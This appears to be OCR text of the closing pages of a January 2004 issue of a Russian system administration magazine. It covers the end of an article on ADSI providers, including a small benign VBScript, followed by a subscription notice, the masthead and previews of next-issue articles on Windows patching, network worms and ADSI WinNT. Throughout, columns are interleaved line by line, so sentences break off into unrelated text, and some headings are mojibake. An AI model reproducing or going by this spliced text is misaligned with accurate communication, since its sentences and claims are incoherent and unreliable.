Интерфейс ADSI поддерживает следующие провайдеры,
с помощью которых осуществляется программное адми- Заключение
нистрирование: Получив фундаментальные знания о построении Active
Òàáëèöà 3 Directory, поддерживаемых форматов имен и провайде-
ром, принципах программирования скриптов, можно при-
ступать к изучению объектных моделей провайдером. Как
ни странно, даже исчерпывающие знания объектной мо-
дели, умение применять на практике различные методы,
обеспечиваемые провайдерами, не позволяют успешно
программировать ADSI. По собственному опыту могу ска-
зать, что не зная основы (теории), которая сначала ка-
жется лишней, невозможно добиться корректной работы
скрипта в 100% случаях. Приведу один маленький, но
очень наглядный пример: в статье «Управление сетевы-
Для определения всех доступных протоколов на ва- ми принтерами» в журнале «Системный администратор»
шем компьютере необходимо использовать службу №10 за 2003 г. рассказано о том, как с помощью неболь-
ADS: шого сайта, написанном на ASP, управлять сетевыми
принтерами домена. Не секрет, что сначала создаются на-
Ïðèìåð 5 работки – небольшие сценарии, затем состыковывая эти
Set obj=GetObject("ADs:")
For Each provider IN obj небольшие отрывки между собой, получают решение ка-
temp = temp + provider.name + chr(13) кой-либо задачи. Заготовки были написаны на VBS, а сайт
Next
MsgBox temp написан на ASP, который хоть и поддерживает VBS, все
же накладывает свой отпечаток. После завершения со-
здания сайта было замечено, что он довольно часто вы-
дает ошибку связанную с тем, что невозможно найти базу,
хотя все отрывки на VBS были оттестированы и призна-
ны работающими корректно. Сначала грешили на репли-
Из всех перечисленных провайдеров будут рассмот- кацию двух контроллеров домена. Однако, оказалось, что
рены только LDAP и WINNT. проблема была в том, что имя сервера печати в провай-
Провайдер ADSI LDAP выполняется на клиенте ADSI и дере LDAP необходимо было указывать в полном форма-
обеспечивает доступ к Active Directory. те, т.е. не server, а server.domain.com. Несмотря на то, что
Кроме служб каталогов Active Directory Windows 2000, VBS к формату имени равнодушен, для ASP это оказа-
LDAP-провайдер обеспечивает доступ к: лось принципиальным. Посмотрите таблицу 1 и сразу ста-
 Netscape Directory Server; нет ясно какой формат имен необходимо использовать.
 Microsoft Exchange Server 5.x и выше; Итак, знание теории и вытекающих из нее нюансов,
 Microsoft Commercial Internet System (MCIS) Address поможет сэкономит время при создании и отладке про-
Book Server. дукта.

94
подписка

Продолжается подписка на I полугодие 2004 г.


Более подробная информация на сайте www.samag.ru
в разделе «Подписка»

Единый
подписной
индекс:

81655
по каталогу
агентства
«Роспечать»

Рады видеть
Вас нашими
читателями!

№1(14), январь 2004 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№1(14), Январь, 2004 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Научно-технические консультанты Запуск Жизненный цикл червей
Дмитрий Горяинов Windows-приложений Червями принято называть сетевые
Павел Закляков под Linux c помощью вирусы, проникающие в зараженные
Андрей Бешков CrossOver Office машины вполне естественным путем,
Валерий Цуканов Для большинства людей сложность без каких-либо действий со стороны
Сергей Можайский использования Linux состоит не в том, пользователя. Они ближе всех ос-
что нужно перейти на совершенно от- тальных вирусов подобрались к мо-
РЕКЛАМНАЯ СЛУЖБА личную от Windows систему, а в от- дели своих биологических прототипов
тел./факс: (095) 928-8253 сутствии привычного окружения. Не- и потому чрезвычайно разрушитель-
Константин Меделян смотря на впечатляющие успехи офис- ны и опасны. Их не берут никакие при-
reсlama@samag.ru ных программ от Open Office, многим вентивные меры защиты, антивирус-
все же милее Microsoft Office. Да и по- ные сканеры и вакцины до сих пор ос-
Верстка и оформление чту многие любят читать ни чем иным, таются крайне неэффективными сред-
imposer@samag.ru как TheBat или Outlook. Сегодня мы ствами борьбы. Нашествие червей
maker_up@samag.ru поговорим о том, как с помощью нельзя предвидеть и практически не-
Дизайн обложки CroosOver Office запустить и успеш- возможно остановить. Но все-таки
Николай Петрочук но работать с Windows-приложения- черви уязвимы. Чтобы одолеть червя,
ми под управлением Linux. вы должны знать структуру его про-
103045, г. Москва, граммного кода, основные «повадки»,
Ананьевский переулок, дом 4/2 стр. 1 Уязвимости в MS Windows, наиболее вероятные алгоритмы вне-
тел./факс: (095) 928-8253 или В поисках решения дрения и распространения. Сеть Ин-
Е-mail: info@samag.ru проблемы по SUSекам тернет в целом и операционные сис-
Internet: www.samag.ru Microsoft темые в частности – это настоящий
За последнее время значительно уча- лабиринт, и вам понадобится его под-
РУКОВОДИТЕЛЬ ПРОЕКТА стились сетевые атаки, проводимые робная карта с отметками секретных
Петр Положевец через Интернет, причем их успеш- троп и черных ходов, используемых
УЧРЕДИТЕЛИ ность в подавляющем числе случаев червями для скрытого проникновения
Владимир Положевец обусловлена вовсе не выдающимися в нервные узлы жертвы.
Александр Михалев способностями атакующих. У многих
в памяти еще свежи воспоминания о Программное управление
ИЗДАТЕЛЬ лихорадке, вызванной уязвимостью в ADSI: WINNT
ЗАО «Издательский дом MS SQL Server 2000, или недавней В предыдущей статье были рассмот-
«Учительская газета» эпидемии червя W32.blaster, эксплу- рены теоретические аспекты постро-
атирующего уязвимость в службе ения Active Directory и проведен об-
Отпечатано типографией RPC/DCOM. Масштаб этих атак был зор доступных провайдеров, с помо-
ООО «Мастер Печати» колоссален. В этой статье будут рас- щью которых можно программно уп-
Тираж 6600 экз. смотрены различные способы авто- равлять Active Directory. Одним из та-
Журнал зарегистрирован матизации процесса установки крити- ких провайдеров является WinNT, ос-
в Министерстве РФ по делам печати, ческих обновлений для ОС MS новы программирования которого бу-
телерадиовещания и средств мас- Windows (2000/XP/2003). дут рассмотрены в данной статье.
совых коммуникаций (свидетельство
ПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответственность


Наши партнеры
несет автор. За содержание рекламно-
го обьявления ответственность несет
рекламодатель. Все права на опубли-
кованные материалы защищены. Ре-
дакция оставляет за собой право изме-
нять содержание следующих номеров.

96